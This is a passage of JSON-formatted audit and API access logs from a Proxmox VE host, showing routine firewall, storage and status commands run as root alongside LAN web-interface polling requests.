ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.641:67501): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265487,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.487:69130): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964576642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964245113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.113:60203): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b57d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965595696,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781966260983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.983:69115): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645781,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.781:61928): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966090339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.339:68396): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965884641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965884.641:67500): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265481,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.481:69129): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964576642,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964245106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.106:60202): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594217,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781966260977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.977:69112): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645774,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.774:61927): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966090339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.339:68395): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.634:67497): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265475,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.475:69128): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964575344,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964245100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.100:60201): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965594217,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966255968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.968:69109): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645141,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.141:61926): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966085795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.795:68391): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe5c607db0 a1=60451139e310 a2=604511397680 a3=5 items=1 ppid=65677 pid=65678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.634:67496): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265469,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.469:69127): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964572621,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964245096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.096:60200): arch=c000003e syscall=59 success=yes exit=0 a0=5ca4eb83de90 a1=5ca4eb83ac10 a2=5ca4eb81c680 a3=5 items=2 ppid=57801 pid=57807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965592681,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 521"} {"@timestamp":1781966255957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.957:69106): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964645133,"@rawstring":"node=pve type=EXECVE msg=audit(1781964645.133:61923): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966085697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.697:68373): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe946d91a0 a1=61cde60b21c0 a2=61cde6090680 a3=5 items=1 ppid=65658 pid=65659 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.628:67494): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265463,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.463:69126): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964571610,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964245093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.093:60199): arch=c000003e syscall=59 success=yes exit=0 a0=5ca4b1384ac8 a1=7ffc0a79b870 a2=5ca4eb81c680 a3=5ca4b136824e items=2 ppid=57801 pid=57803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965592681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 943"} {"@timestamp":1781966255420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.420:69103): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e352cd4be60 items=0 ppid=1156 pid=66357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964644342,"@rawstring":"node=pve type=EXECVE msg=audit(1781964644.342:61920): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.328:68365): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965879628,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965879.628:67493): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265455,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.455:69125): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964570608,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 838"} {"@timestamp":1781964245092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.092:60198): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc0a79b830 a1=5ca4eb823310 a2=5ca4eb81c680 a3=5 items=2 ppid=57801 pid=57802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965592681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781966255418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.418:69102): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964644302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964644.302:61919): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.328:68364): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65652 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.276:67489): arch=c000003e syscall=59 success=no exit=-2 a0=7fff0163e9d0 a1=556e52579410 a2=556e52557680 a3=5 items=1 ppid=64815 pid=64816 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265450,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.450:69124): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964568582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781964245086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.086:60196): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965592681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966255414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.414:69101): arch=c000003e syscall=59 success=yes exit=0 a0=5f11893d2d30 a1=5f11893deaf0 a2=5f11893ac680 a3=5 items=2 ppid=66350 pid=66356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964640123,"@rawstring":"node=pve type=EXECVE msg=audit(1781964640.123:61918): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966085316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.316:68362): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.181:67471): arch=c000003e syscall=59 success=no exit=-2 a0=7fff2a6d2bb0 a1=5fb0c15553d0 a2=5fb0c1533680 a3=5 items=1 ppid=64796 pid=64797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265444,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.444:69123): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964567280,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964245080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.080:60195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965591670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781966255411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.411:69100): arch=c000003e syscall=59 success=yes exit=0 a0=5f116cc45ac8 a1=7ffc0d4338e0 a2=5f11893ac680 a3=5f116cc2924e items=2 ppid=66350 pid=66352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964640116,"@rawstring":"node=pve type=EXECVE msg=audit(1781964640.116:61915): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966085316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.316:68361): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.621:67463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265436,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.436:69122): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964564648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964245073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.073:60194): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57799 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965590568,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966255410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.410:69099): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc0d4338a0 a1=5f11893ce3d0 a2=5f11893ac680 a3=5 items=2 ppid=66350 pid=66351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964639838,"@rawstring":"node=pve type=EXECVE msg=audit(1781964639.838:61912): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.309:68354): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.621:67462): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64790 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265430,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.430:69121): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964564648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964245068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.068:60193): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fc10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965590568,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:26:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781966255406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.406:69097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964639838,"@rawstring":"node=pve type=EXECVE msg=audit(1781964639.838:61911): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966080309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966080.309:68353): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65640 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965874603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965874.603:67460): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64789 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265037,"@rawstring":"node=pve type=EXECVE msg=audit(1781966265.037:69120): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964563562,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:09:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964245062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964245.062:60192): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965590568,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:26:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781966255400,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.400:69096): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fbb0 a2=55ecb805f500 a3=b 